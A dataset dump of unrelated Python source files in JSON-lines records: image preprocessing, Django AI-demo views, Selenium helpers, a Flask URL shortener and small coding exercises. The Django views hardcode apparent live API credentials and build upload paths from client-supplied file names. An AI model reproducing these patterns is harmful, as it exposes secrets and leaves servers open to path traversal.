splited)\n tgt_img_name = 'preprocessed_' + src_img_path.split('/')[-1]\n tgt_name = os.path.join(output_path, tgt_img_name)\n if os.path.exists(tgt_name) and skip_dul:\n return\n # if not os.path.isdir(output_path):\n # os.makedirs(output_path)\n read_img = cv2.imread(src_img_path, cv2.IMREAD_GRAYSCALE)\n src_img = fill_black(read_img)\n denoised_img_all_01 = bm3d.bm3d(\n src_img, sigma_psd=0.1, stage_arg=bm3d.BM3DStages.HARD_THRESHOLDING).astype('uint8')\n bi_val = filters.threshold_otsu(\n denoised_img_all_01).astype('uint8')\n otsued = np.digitize(denoised_img_all_01, bins=[\n bi_val]).astype('uint8')\n median_filtered = filters.median(otsued, disk(5))\n closed = sm.closing(median_filtered, disk(30))\n opened = sm.opening(closed, disk(3))\n\n raw_mid_line, raw_bottom_line = mid_bottom_line(opened)\n\n x_ranges = [i for i in range(len(raw_mid_line))\n if raw_mid_line[i] is not None]\n mid_line = [i for i in raw_mid_line if i is not None]\n bottom_line = [i for i in raw_bottom_line if i is not None]\n\n poly1_args_mid = np.polyfit(x_ranges, mid_line, 1)\n poly1_args_bot = np.polyfit(x_ranges, bottom_line, 1)\n\n poly2_args_mid = np.polyfit(x_ranges, mid_line, 2)\n poly2_args_bot = np.polyfit(x_ranges, bottom_line, 2)\n\n mid_upwards = poly2_args_mid[0] < 0\n bot_upwards = poly2_args_bot[0] < 0\n\n p1_coe_mid = np.corrcoef(mid_line, np.poly1d(\n poly1_args_mid)(x_ranges))[0][1]\n\n p1_coe_bot = np.corrcoef(bottom_line, np.poly1d(\n poly1_args_bot)(x_ranges))[0][1]\n\n p2_coe_mid = np.corrcoef(mid_line, np.poly1d(\n poly2_args_mid)(x_ranges))[0][1]\n p2_coe_bot = np.corrcoef(bottom_line, np.poly1d(\n poly2_args_bot)(x_ranges))[0][1]\n\n methods = method_judgement(\n mid_upwards, bot_upwards, p2_coe_mid, p1_coe_mid, p2_coe_bot, p1_coe_bot)\n\n p2_fit = np.poly1d(poly2_args_mid)(np.arange(0, len(read_img[0])))\n\n trans, mask = alignment(\n methods, p2_fit, poly1_args_mid, read_img, opened)\n cropped = crops(trans, mask).astype('uint8')\n\n if need_save:\n io.imsave(tgt_name, cropped)\n\n except (Exception, Warning) as e:\n print('*' * 20)\n print(e)\n print(src_img_path)\n print('*' * 20)\n print()\n\n\ndef initialize(root_path):\n total_path, new_root = path_dealer(root_path)\n\n print(\"~\" * 40)\n print(\"detected image #: {}\".format(len(total_path)))\n print('target root path: \\\"{}\\\"'.format(new_root))\n\n cat = {}\n for i in total_path:\n tgt = i.split('/')[-2]\n if tgt not in cat:\n cat[tgt] = 1\n else:\n cat[tgt] += 1\n print('categories: {}'.format(cat))\n\n for i in cat.keys():\n tgt_path = os.path.join(new_root, i + '_preprocessed')\n # print(tgt_path)\n if os.path.exists(tgt_path):\n print(tgt_path + \" is existed\")\n else:\n os.makedirs(tgt_path)\n print(tgt_path + \" is created\")\n print(\"~\" * 40)\n return total_path, new_root\n\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--check\", \"-c\", default=False, action=\"store_true\",\n help=\"only check for data availability.\")\n parser.add_argument(\"--path\", \"-p\", help=\"target root path.\")\n args = parser.parse_args()\n root_path = args.path\n\n total_path, new_root = initialize(root_path)\n if not args.check:\n for i in tqdm((range(len(total_path)))):\n preprocess_single(total_path[i], new_root, need_save=True, skip_dul=True)\n\n print('Done!')\n","repo_name":"hatute/FSTL4HRDR","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":7154,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"12855156082","text":"from django.shortcuts import render\nfrom .models import Video, SpeechAudioFile, NudityImage, WeaponsImage, WeaponsVideo, EmbededItem\nfrom .forms import VideoForm\nimport moviepy.editor as mp\nfrom django.http import HttpResponseRedirect, JsonResponse\nfrom ThemisAppAIPI.settings import BASE_DIR\nfrom os.path import join\n# Create your views here.\nfrom googletrans import Translator\nimport pyttsx3\nfrom django.core.files.storage import FileSystemStorage \nfrom django.middleware.csrf import get_token\nfrom .speech2text import Speechaudio2Text\nfrom .imgnudity import nuditydetectionresult\nimport requests\nimport os\nimport json\nfrom .weaponsdetectai import WeaponsDetectedImgStore, WeaponsDetectionFromImageAI, WeaponsDetectedVideoFunc\nimport cv2\nfrom django.urls import reverse\nfrom .SCvideoStream import stream, weaponsStream\nimport subprocess\n\n\ndef HomeView(request):\n context = {}\n return render(request, 'ClientView/IndexPage.html', context)\n\n\n\ndef DashIndex(request):\n context = {}\n return render(request, 'Dashboard/MiddleSection.html', context)\n\n\n\n\ndef AudioExtract(request):\n context = {}\n return render(request, 'Dashboard/MiddleSection.html', context)\n\n\n\n\ndef Showvideo(request):\n\n lastvideo= Video.objects.last()\n\n videofile= lastvideo.videofile\n\n\n form= VideoForm(request.POST or None, request.FILES or None)\n if form.is_valid():\n form.save()\n\n \n context= {'videofile': videofile,\n 'form': form\n }\n \n return render(request, 'Dashboard/AudioExtract.html', context)\n\n\ndef AudioCreate(request):\n videofile= request.GET.get(\"video_src\")\n print(videofile)\n print(\"my video clip:\", join(BASE_DIR,videofile))\n my_clip = mp.VideoFileClip(join(BASE_DIR,videofile))\n \n my_clip.audio.write_audiofile(r\"sada_kala_result.mp3\")\n data = {\n \"create_audio\":True\n }\n return JsonResponse(data)\n\n\ndef GoogleTranslator(request):\n if request.method == \"POST\":\n lang = request.POST.get(\"lang\", None)\n txt = request.POST.get(\"txt\", None)\n\n translator = Translator()\n tr = translator.translate(txt, dest=lang)\n return render(request, 'ClientView/Translator_Section.html', {\"result\":tr.text})\n return render(request, 'ClientView/Translator_Section.html')\n\n\ndef TextToSpeech(request):\n context = {}\n if request.method == \"POST\":\n userbtn = \"\"\n inputtext = request.POST.get(\"inputtextdata\", None)\n speechgender = request.POST.get(\"Gender\", None)\n actionwisedata = request.POST.get(\"actiondata\", None)\n print(actionwisedata)\n # pyttsx3 start \n engine = pyttsx3.init()\n # rate = engine.getProperty('rate')\n engine.setProperty('rate', 125) \n # volume = engine.getProperty('volume')\n engine.setProperty('volume',1.0)\n\n voices = engine.getProperty('voices')\n \n engine.setProperty('voice', voices[int(speechgender)].id)\n \n if actionwisedata == \"DownLoadNow\":\n engine.save_to_file(inputtext, 'test.mp3')\n engine.runAndWait()\n engine.stop()\n elif actionwisedata == \"ListenNow\":\n engine.say(inputtext)\n engine.runAndWait()\n return render(request, 'AIBasedTemplates/TextToSpeechSection.html', context)\n return render(request, 'AIBasedTemplates/TextToSpeechSection.html', context)\n\ndef ImageToText(request):\n \n if request.method == 'POST':\n csrf_token = get_token(request)\n img_lst = request.FILES['images']\n context = { \"csrf_token\": csrf_token,}\n print(img_lst)\n else:\n print(\"Nothing\")\n context = {}\n return render(request, 'AIBasedTemplates/ImgToTextSection.html', context)\n\ndef SpeechToText(request):\n context = {}\n if request.method == 'POST':\n speechaudio = request.FILES['speech2textfiles']\n speechaudiofile = SpeechAudioFile.objects.create(\n name = speechaudio.name, audiofile = speechaudio)\n audio_path= speechaudiofile.audiofile.path\n generated_text = Speechaudio2Text(audio_path)\n context = { \"speechaudio\": generated_text}\n return render(request, 'AIBasedTemplates/SpeechToTextSection.html', context)\n return render(request, 'AIBasedTemplates/SpeechToTextSection.html', context)\n\ndef NudityCheckerImg(request):\n if request.method == 'POST' and 'nudityimginput' in request.FILES:\n imgfile = request.FILES['nudityimginput']\n ndi = NudityImage(name = imgfile.name, image = imgfile )\n ndi.save()\n # fss = FileSystemStorage()\n # file = fss.save(imgfile.name, imgfile)\n # file_url = fss.url(file)\n ndishow = NudityImage.objects.last()\n img_url = ndishow.image.url\n params = {\n 'models': 'nudity-2.0',\n 'api_user': '708482299',\n 'api_secret': 'WWGyXX67SuGr2qE8JMmm'\n }\n files = {'media': open(os.path.dirname(os.path.realpath(__file__)) + img_url, 'rb')}\n # files = open(file_url)\n r = requests.post('https://api.sightengine.com/1.0/check.json', files=files, data=params)\n\n output = json.loads(r.text)\n # imgdetails = nuditydetectionresult(file_url)\n context = {'file_url': files,\n 'nudityimgdetails' : output, \n }\n print(context)\n return render(request, 'AIBasedTemplates/NudityCheckerFromImg.html', {})\n print(imgfile)\n context = {}\n return render(request, 'AIBasedTemplates/NudityCheckerFromImg.html', context)\n\n\n\n\ndef WeaponsDetections(request):\n context = {}\n if request.method == \"GET\":\n return render(request, 'AIBasedTemplates/WeaponsDetection.html', context)\n if request.method == 'POST':\n files = request.FILES.getlist('files[]', None)\n print(files)\n imageName = []\n for f in files:\n # fs = FileSystemStorage()\n # file = fs.save(f.name, f)\n # fileurl = fs.url(file)\n # print(\"Fileurl\", fileurl)\n weapons = WeaponsImage(name = f.name, image = f)\n weapons.save()\n weapons_db = WeaponsImage.objects.last()\n weapon_img_url = weapons_db.img_url()\n # print(\"BASE_DIR\", BASE_DIR)\n # print(\"image url\", weapon_img_url)\n WeaponsDetectedImgStore(weapon_img_url, f.name)\n imageName.append(f.name)\n # print(f.name)\n # handle_uploaded_file(f)\n return JsonResponse({'msg':'
File successfully uploaded
', 'detectedImgName':imageName})\n else:\n return render(request, 'AIBasedTemplates/WeaponsDetection.html', context )\n\ndef handle_uploaded_file(f): \n with open('/static/upload/'+f.name, 'wb+') as destination: \n for chunk in f.chunks(): \n destination.write(chunk) \n\n\ndef WeaponsDetectionsFromVideo(request):\n context = {}\n if request.method == \"GET\":\n return render(request, 'AIBasedTemplates/WeaponsDetectionFromVideo.html', context)\n if request.method == 'POST':\n vf = request.FILES\n print(vf)\n videofile = request.FILES.get('files')\n print(videofile)\n weaponsvideo = WeaponsVideo(name = videofile.name, video = videofile)\n weaponsvideo.save()\n weapons_db = WeaponsVideo.objects.last()\n weapon_img_url = weapons_db.img_url()\n # print(\"BASE_DIR\", BASE_DIR)\n # print(\"image url\", weapon_img_url)\n WeaponsDetectedVideoFunc(weapon_img_url)\n return JsonResponse({'msg':'
File successfully uploaded
', 'detectedVideoName':videofile.name})\n else:\n return render(request, 'AIBasedTemplates/WeaponsDetectionFromVideo.html', context )\n\n\n\ndef WeaponsDetectionsLive(request):\n context = {}\n if request.method == \"GET\":\n return render(request, 'AIBasedTemplates/WeaponsDetectionLive.html', context)\n if request.method == 'POST':\n vf = request.FILES\n print(vf)\n videofile = request.FILES.get('files')\n print(videofile)\n weaponsvideo = WeaponsVideo(name = videofile.name, video = videofile)\n weaponsvideo.save()\n weapons_db = WeaponsVideo.objects.last()\n weapon_img_url = weapons_db.img_url()\n # print(\"BASE_DIR\", BASE_DIR)\n # print(\"image url\", weapon_img_url)\n WeaponsDetectedVideoFunc(weapon_img_url)\n return JsonResponse({'msg':'
File successfully uploaded
', 'detectedVideoName':videofile.name})\n else:\n return render(request, 'AIBasedTemplates/WeaponsDetectionLive.html', context )\n\ndef WeaponsDetectWtihLiveCamera(request):\n # videocap = cv2.VideoCapture(0)\n weaponsStream()\n return HttpResponseRedirect(reverse('weaponsdetectionlive'))\n\n\ndef WeaponsDetectWithEmbededVideos(request):\n weapons_videos = EmbededItem.objects.all() \n context = { 'embededvideos':weapons_videos }\n print(context)\n return render(request, 'AIBasedTemplates/weapons_detect_with_embeded_.html', context)\n\ndef detect_weapons():\n uploaded_path = r\"https://www.youtube.com/watch?v=Ewu8_yi4JNk\"\n subprocess.run(['python', 'C:\\\\Users\\\\HSSL110\\\\Desktop\\\\WebApp\\\\AIWebProject\\\\yolov5\\\\detect.py', '--weights',\n 'C:\\\\Users\\\\HSSL110\\\\Desktop\\\\WebApp\\\\AIWebProject\\\\static\\\\weight\\\\best.pt', '--imgsz', '1024', '--project', 'media/detect', '--source', uploaded_path])\n return uploaded_path\n\n\ndef ConcealledWeaponsDetect(request):\n context = { }\n print(context)\n return render(request, 'AIBasedTemplates/ConcealedWeaponsDetect.html', context)\n","repo_name":"MdRanaSarkar/ThemisApp","sub_path":"AIPI_App/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":9710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10053257544","text":"class Solution:\n def sortSentence(self, s: str) -> str:\n arr = s.split(\" \")\n ans = []\n for i in range(len(arr)):\n ans.append(\"\")\n print(ans)\n\n for i in range(len(arr)):\n word = arr[i]\n print(word)\n idx = int(word[-1])\n print(idx)\n ans[idx - 1] = word[0:len(word)-1]\n\n return \" \".join(ans)\n \n# Solution 2\nimport functools\n\nclass Solution:\n # Sorting using custom Comparator function\n def comp(self, a: str, b: str) -> int:\n if a[-1] > b[-1]:\n return 1\n return -1\n\n def sortSentence(self, s: str) -> str:\n # split string at space\n arr = s.split(\" \")\n print(arr)\n\n # sort using custom comparator\n arr.sort(key=functools.cmp_to_key(self.comp))\n print(arr)\n\n # Remove last character\n for i in range(len(arr)):\n arr[i] = arr[i][0:len(arr[i])-1]\n print(arr)\n\n return \" \".join(arr)","repo_name":"akshatasingh21/python101","sub_path":"Leetcode/1859. Sorting the Sentence.py","file_name":"1859. Sorting the Sentence.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44210175376","text":"from typing import Union\n\nfrom selenium import webdriver\nfrom selenium.common.exceptions import NoSuchElementException, TimeoutException\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.firefox.webdriver import WebDriver\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.support.ui import Select, WebDriverWait\n\nfrom s_tool.exceptions import SToolException\n\n\ndef get_session(driver: webdriver) -> str:\n \"\"\"Return webdriver session\n\n Args:\n driver (webdriver): selenium webdriver\n\n Returns:\n str: sample '41ecb942-cd73-4407-aadd-acc7b8fbcd47\n \"\"\"\n return driver.session_id\n\n\ndef visit(driver: webdriver, url: str) -> None:\n \"\"\"Visit given url\n\n Args:\n driver (webdriver): selenium webdriver\n url (str): [description]\n\n Returns:\n None\n \"\"\"\n driver.get(url)\n\n\ndef page_source(driver: webdriver) -> str:\n \"\"\"Return html page source which is rendered\n\n Args:\n driver (webdriver): selenium webdriver\n\n Returns:\n str: an html string\n \"\"\"\n return driver.page_source\n\n\ndef current_url(driver: webdriver) -> str:\n \"\"\"Returns Current loaded url\n\n Args:\n driver (webdriver): selenium webdriver\n\n Returns:\n str: An URL\n \"\"\"\n return driver.current_url\n\n\ndef get_locator(locator_text: str, locator_type: str = \"id\") -> tuple:\n \"\"\"Return an locator value\n\n Args:\n locator_text (str): attribute value\n locator_type (str, optional): provide any attribute type.If not provided id will use\n\n Returns:\n tuple: a locator value (By.locator,locator_value)\n \"\"\"\n locator = locator_type.upper()\n return getattr(By, locator), locator_text\n\n\ndef get_element(\n driver: webdriver, locator_text: str, locator_type: str = \"id\", many: bool = None\n):\n \"\"\"Return element using locator type and text\n\n Args:\n driver (webdriver): selenium webdriver\n locator_text (str): attribute value\n locator_type (str, optional): attribute name. Defaults to \"id\".\n id,class_name,tag_name,xpath,css_selector\n many (bool, optional): Returns multiple element if True. Defaults to None.\n\n Raises:\n SToolException: If INVALID_SELECTOR provided\n\n Returns:\n [list,None]: Returns list of element if many=True\n Else Return Single element\n Return None If Element not Found\n \"\"\"\n\n locator_type = locator_type.upper()\n if hasattr(By, locator_type):\n try:\n locator = get_locator(locator_text, locator_type)\n is_multiple = \"s\" if many else \"\"\n func = getattr(driver, f\"find_element{is_multiple}\")\n return func(*locator)\n except NoSuchElementException:\n return None\n else:\n raise SToolException(\"INVALID_SELECTOR\")\n\n\ndef click(\n driver: webdriver, locator_text: str, locator_type: str = \"id\", click_time: int = 10\n) -> Union[bool, None]:\n \"\"\"[summary]\n\n Args:\n driver (webdriver): selenium webdriver\n locator_text (str): attribute value\n locator_type (str, optional): attribute name. Defaults to \"id\".\n id,class_name,tag_name,xpath,css_selector\n click_time (int, optional): time to wait till element is clickable. Defaults to 10.\n\n Raises:\n SToolException: [description]\n\n Returns:\n Union[bool, None]: True if element is clicked\n False if element not clicked\n \"\"\"\n try:\n elem_locator = get_locator(locator_text, locator_type)\n element = WebDriverWait(driver, click_time).until(\n EC.element_to_be_clickable(elem_locator)\n )\n element.click()\n return True\n except TimeoutException:\n return None\n except Exception as ex:\n raise SToolException(ex)\n\n\ndef get_cookies(driver: webdriver) -> dict:\n \"\"\"Return cookies in dictionary\n\n Args:\n driver (webdriver): selenium webdriver\n\n Returns:\n dict: return cookies in dicionary,\n will return {} if no cookies\n \"\"\"\n\n cookies = driver.get_cookies()\n cookies_dict = {cookie[\"name\"]: cookie[\"value\"] for cookie in cookies}\n return cookies_dict or {}\n\n\ndef set_cookies(\n driver: webdriver,\n drop_all: bool = False,\n drop_keys: set = set(),\n **cookies,\n) -> None:\n \"\"\"Add cookies into driver\n\n Args:\n driver (webdriver): selenium webdriver\n drop_all (bool, optional): Delete all cookies if True. Defaults to False.\n drop_keys (set, optional): Set of cookies name. Defaults to set().\n\n Returns:\n None\n \"\"\"\n\n # cookies name and value must be in string\n cookies = {str(k): str(v) for k, v in cookies.items()}\n\n # Delete all cookies\n if drop_all:\n driver.delete_all_cookies()\n\n # Delete only given cookies Name\n for name in drop_keys:\n driver.delete_cookie(name)\n\n # Add new cookies\n for name, value in cookies.items():\n driver.add_cookie({\"name\": name, \"value\": value})\n\n\ndef take_screenshot(driver: webdriver, element: tuple = None) -> Union[bytes, None]:\n \"\"\"Return screenshot\n\n Args:\n driver (webdriver): selenium webdriver\n element (tuple, optional): provide element locator\n example : element=('id','element_id').\n Defaults to None.\n\n Returns:\n Union[bytes, None]: Returns screenshot object\n \"\"\"\n if element and isinstance(element, tuple):\n locator_type, locator_text = element\n ele = get_element(driver, locator_text, locator_type)\n if ele:\n return ele.screenshot_as_png\n return None\n else:\n width = driver.execute_script(\"return document.body.offsetWidth\")\n height = driver.execute_script(\"return document.body.offsetHeight\")\n driver.set_window_size(width, height)\n return driver.get_screenshot_as_png()\n\n\ndef display_element(driver: webdriver, element, hide: bool = None) -> None:\n \"\"\"Hide and display element\n\n Args:\n driver (webdriver): selenium webdriver\n element ([selenium]): an selenium element\n hide (bool, optional): will display element if True. Defaults to None.\n\n Returns:\n None\n \"\"\"\n\n hide_or_show = \"inline\" if hide else \"None\"\n driver.execute_script(f\"arguments[0].style.display = '{hide_or_show}';\", element)\n\n\ndef hide_show_elements(driver: webdriver, elements: list, hide: bool = None) -> None:\n \"\"\"Hide and display elements\n\n Args:\n driver (webdriver): selenium webdriver\n elements (list): an list of element locator\n [('locator_type','value')]\n example : [('id','id_value')]\n hide (bool, optional): display elements if 'True' else Hide elements. Defaults to None.\n\n Returns:\n None\n \"\"\"\n for element_locator in elements:\n locator_type, locator_value = element_locator\n element_list = get_element(driver, locator_value, locator_type, many=True)\n if element_list:\n for element in element_list:\n display_element(driver, element, hide)\n\n\ndef select_option(element, _value, _by=0):\n \"\"\"select dropdown option\n\n Args:\n element ([type]): selenium element\n _value ([type]): str,value,text\n _by (int, optional): selector type, int. Defaults to 0.\n 0: default select option using by value\n 1: select using visible text\n 2: select using index but also provide _value as int\n\n Raises:\n SToolException: INVALIDELEMENT,if element is not select(dropdown)\n SToolException: INVALIDSELECTOR, wrong selector provided\n SToolException: INVALIDVALUE, for select_by_index second parameter required only integer\n\n Returns:\n None\n \"\"\"\n\n if not element and element.tag_name != \"select\":\n raise SToolException(\"INVALIDELEMENT\")\n\n elif _by not in [0, 1, 2]:\n raise SToolException(\"INVALIDSELECTOR\")\n\n elif _by == 2 and type(_value) is not int:\n raise SToolException(\"INVALIDVALUE\")\n\n else:\n select = Select(element)\n select_type = {\n 0: getattr(select, \"select_by_value\"),\n 1: getattr(select, \"select_by_visible_text\"),\n 2: getattr(select, \"select_by_index\"),\n }\n\n select_type[_by](_value)\n\n\ndef fill(driver: WebDriver, kwargs, _by=0):\n \"\"\"Insert or select values using name attribute\n\n Args:\n driver (WebDriver): selenium webdriver\n kwargs (dict): name and values in dict\n example: {name:value_to_select_or_enter}\n _by : Selector type, Default 0\n\n Raises:\n SToolException: NOTIMPLEMENTED,if html elment is not defined\n\n Returns:\n None\n \"\"\"\n\n for name, value in kwargs.items():\n element = get_element(driver, name, \"name\")\n if element.tag_name == \"select\":\n # Select Dropdown value\n select_option(element, value, _by=_by)\n elif element.get_attribute(\"type\") == \"radio\":\n # Click on radio element using value\n radio_element = get_element(driver, f'//input[@value=\"{value}\"]', \"xpath\")\n radio_element.click()\n elif element.tag_name == \"input\":\n # input,textarea add values\n element.clear()\n element.send_keys(value)\n else:\n raise SToolException(\"NOTIMPLEMENTED\")\n\n\ndef is_element(\n driver: WebDriver, locator_text: str, locator_type: str = \"id\", wait_time: int = 2\n) -> bool:\n \"\"\"Check element is loaded on page or not\n\n Args:\n driver (WebDriver): selenium webdriver\n locator_text (str): attribute value\n locator_type (str, optional): attribute name. Defaults to \"id\".\n id,class_name,tag_name,xpath,css_selector\n wait_time (int, optional): wait time to load element if not loaded. Defaults to 2.\n\n Returns:\n [bool]: True if element available, else False\n \"\"\"\n\n try:\n locator = get_locator(locator_text, locator_type)\n WebDriverWait(driver, wait_time).until(EC.presence_of_element_located(locator))\n return True\n except:\n return False\n\n\ndef get_user_agent(driver: webdriver) -> str:\n \"\"\"Return user agent\n\n Args:\n driver (webdriver): selenium webdriver\n\n Returns:\n str: an user agent string.\n \"\"\"\n\n return driver.execute_script(\"return navigator.userAgent\")\n","repo_name":"simrit1/s-tool","sub_path":"s_tool/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":10603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"48"} +{"seq_id":"1622264924","text":"from flask import Flask, redirect, render_template, request\nimport requests\nfrom urllib.parse import urljoin\n\napp = Flask(__name__)\n\n@app.route(\"/home\", methods=[\"GET\"])\ndef Home():\n return render_template('home.html')\n\n@app.route(\"/register\", methods=[\"POST\"])\ndef Register():\n url = request.form.get('URL')\n if url:\n params = {\n \"orignal_url\": url\n }\n response = requests.post('#apigateway endpoint to create', json=params, headers={'Accept': 'application/json'})\n if response.ok:\n data = response.json()\n if data.get('Id'):\n short_url = urljoin(request.url_root, data.get('Id').get('S'))\n return render_template('home.html', short_url=short_url)\n return render_template('home.html', message=\"Short URL cannot be created.\")\n\n@app.route(\"/\", methods=[\"GET\"])\ndef Redirect(Id):\n if not Id:\n return redirect('/home')\n params = {\n 'Id': Id\n }\n response = requests.post('#apigateway endpoint to fetch entry', json=params, headers={'Accept': 'application/json'})\n if response.ok:\n data = response.json()\n if data.get('statusCode') == 200:\n return redirect(data.get('redirect_url'))\n return render_template('404.html')\n\n@app.errorhandler(404)\ndef page_not_found(e):\n # note that we set the 404 status explicitly\n return render_template('404.html'), 404\n\n@app.route(\"/\", methods=[\"GET\"])\ndef Redirect_Home():\n return redirect('/home')\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"kartik416/URL_SHORTNER_SERVERLESS","sub_path":"app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"35616087984","text":"import sys\n\ndx = [0,0,-1,1,-1,1,-1,1]\ndy = [-1,1,0,0,-1,-1,1,1]\n\ndef get_neighbors(m, i, j):\n res = []\n for d in range(len(dx)):\n f = 1\n while True:\n i1, j1 = i+dx[d]*f, j+dy[d]*f\n if i1 < 0 or j1 < 0 or i1 >= len(m) or j1 >= len(m[i]):\n break\n if m[i1][j1] == 'L':\n res.append((i1, j1))\n break\n f += 1\n return res\n \nm = [list(l.rstrip()) for l in sys.stdin]\nR, C = len(m), len(m[0])\ncnts = [[0 if m[i][j] == 'L' else None for j in range(C)] for i in range(R)]\nneighbors = [[get_neighbors(m, i, j) for j in range(C)] for i in range(R)]\n\nadded_neighbors = []\nremoved_neighbors = []\n\nstable = False\nwhile not stable:\n for i, j in removed_neighbors:\n cnts[i][j] -= 1\n for i, j in added_neighbors:\n cnts[i][j] += 1\n \n removed_neighbors = []\n added_neighbors = []\n\n stable = True\n for i in range(len(m)):\n for j in range(len(m[i])):\n if m[i][j] == 'L' and cnts[i][j] == 0:\n m[i][j] = '#'\n added_neighbors.extend(neighbors[i][j])\n stable = False\n elif m[i][j] == '#' and cnts[i][j] >= 5:\n m[i][j] = 'L'\n removed_neighbors.extend(neighbors[i][j])\n stable = False\n\nprint(sum(mi.count('#') for mi in m))\n","repo_name":"skollmann/AdventOfCode","sub_path":"2020/11b_optimised.py","file_name":"11b_optimised.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"19130132532","text":"class Person: #base class/parent class/upper class\n def setval(self,name,age,address):\n self.name=name\n self.age=age\n self.address=address\n print(\"name: \",self.name)\n print(\"age: \",self.age)\n print(\"address: \",self.address)\nclass Parent:\n def set(self,job):\n self.job=job\n print(\"job: \",self.job)\nclass Employee(Person,Parent):\n def print(self,salary,company):\n self.salary=salary\n self.company=company\n print(self.salary,self.company)\nem=Employee()\nem.setval(\"Anugraha\",28,\"Anugraha Villa\")\nem.set(\"Software Engineer\")\nem.print(45000,\"infopark\")","repo_name":"Rincy-Anna/pythonprograms","sub_path":"object_oriented_programmin(oop)/inheritance/person_parent_employee.py","file_name":"person_parent_employee.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"74305616146","text":"import subprocess\n\n\nclass Video (object):\n\n process = False\n command = 'cvlc v4l2:///dev/video0:width=480:height=320 \\\n :v4l2-standard= \\\n :input-slave=alsa://plughw:1,0 \\\n :live-caching=300 \\\n :sout=\"#transcode{\\\n # vcodec=WMV2,\\\n vb=800,\\\n scale=1,\\\n acodec=wma2,\\\n ab=128,\\\n channels=2,\\\n samplerate=44100\\\n }:http{dst=:8080/stream.wmv}\"'\n\n\n def run(self):\n if self.process is False or self.process.poll() is not None:\n self.process = subprocess.Popen(self.command,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)\n","repo_name":"claudio-walser/baby-care","sub_path":"surveillance/Video.py","file_name":"Video.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"44268209372","text":"#有效地括号,这道题总的来说就是要细心,不然很容易出错\nclass Solution(object):\n def isValid(self, s):\n \"\"\"\n :type s: str\n :rtype: bool\n \"\"\"\n if len(s)==0:\n return True\n if s[0] in [')','}',']']:\n return False\n \n dict_all = {}\n list_all = ['(',')','{','}','[',']']\n k=1\n for i in list_all:\n dict_all[i]=k\n k=k+1\n \n a = [dict_all[s[0]]]\n for i in s[1:]:\n if i==' ':\n continue\n num = dict_all[i]\n if num%2==1:\n a.append(num)\n continue\n if a!=[] and num == a[-1]+1:\n a.pop(-1)\n continue\n return False\n if a==[]:\n return True\n return False\n","repo_name":"whywhs/Leetcode","sub_path":"Leetcode20_E.py","file_name":"Leetcode20_E.py","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"25931127660","text":"from decimal import Decimal\nfrom typing import List\nfrom typing import Optional\nfrom typing import TYPE_CHECKING\nfrom typing import Union\n\nfrom django.db.models import QuerySet # 下記コメント参照\n\nfrom .models import Commute\n\n# QuerySetについて::\n# 型ヒントでしか使わないが、型検査時のみインポートにして\n# - 引用符で囲う -> flake8で警告\n# - そのまま -> djangoのシステムチェックに引っかかる\n# となるため常にインポートする\n# あと、reorder-python-importによってコメントとインポート文が引き離されるので\n# こういう「下記コメント参照」というような形式で分けてコメントしている\n\nif TYPE_CHECKING:\n from datetime import date\n from .utils import CommuteUsageTypes\n\n\nclass CommuteRepository:\n \"\"\"交通費のリポジトリ\"\"\"\n\n def __init__(self, model_commute=Commute):\n self.model_commute = model_commute\n\n def create_commute(\n self,\n usage_type: \"CommuteUsageTypes\",\n usage_text: Optional[str],\n departure_station: str,\n arrival_station: str,\n price: Decimal,\n date_of_use: \"date\",\n has_apply: bool,\n user_id: int,\n ) -> Commute:\n \"\"\"交通費を作成する\"\"\"\n commute = self.model_commute(\n usage_type=usage_type,\n usage_text=usage_text,\n departure_station=departure_station,\n arrival_station=arrival_station,\n price=price,\n date_of_use=date_of_use,\n has_apply=has_apply,\n user_id=user_id,\n )\n commute.save()\n return commute\n\n def get_user_commutes(\n self, user_id: int, ordering: Optional[List[str]] = None\n ) -> Union[QuerySet, List[Commute]]:\n \"\"\"ユーザーに紐づくすべての交通費\"\"\"\n return self.model_commute.objects.filter(user=user_id).order_by(*ordering)\n\n def get_user_commutes_monthly(self, user_id, year, month):\n \"\"\"ユーザーに紐づく月ごとの交通費を取得する\"\"\"\n return self.model_commute.objects.filter(\n user=user_id, date_of_use__year=year, date_of_use__month=month\n )\n","repo_name":"kk6/sebastian","sub_path":"apps/commutes/repositories.py","file_name":"repositories.py","file_ext":"py","file_size_in_byte":2242,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"70724173266","text":"from pygments.token import Name, Keyword\n\nfrom pygments.lexer import RegexLexer, include, bygroups, using, \\\n this, default, words\nfrom pygments.token import Text, Comment, Operator, Keyword, Name, String, \\\n Number, Punctuation, Error\n\n\nclass PortugolStudioLexer(RegexLexer):\n \"\"\"\n For Portugol Studio source code.\n \"\"\"\n name = 'Portugol Studio'\n aliases = ['portugolstudio', 'portugol']\n filenames = ['*.por'] # just to have one if you whant to use\n\n #: optional Comment or Whitespace\n _ws = 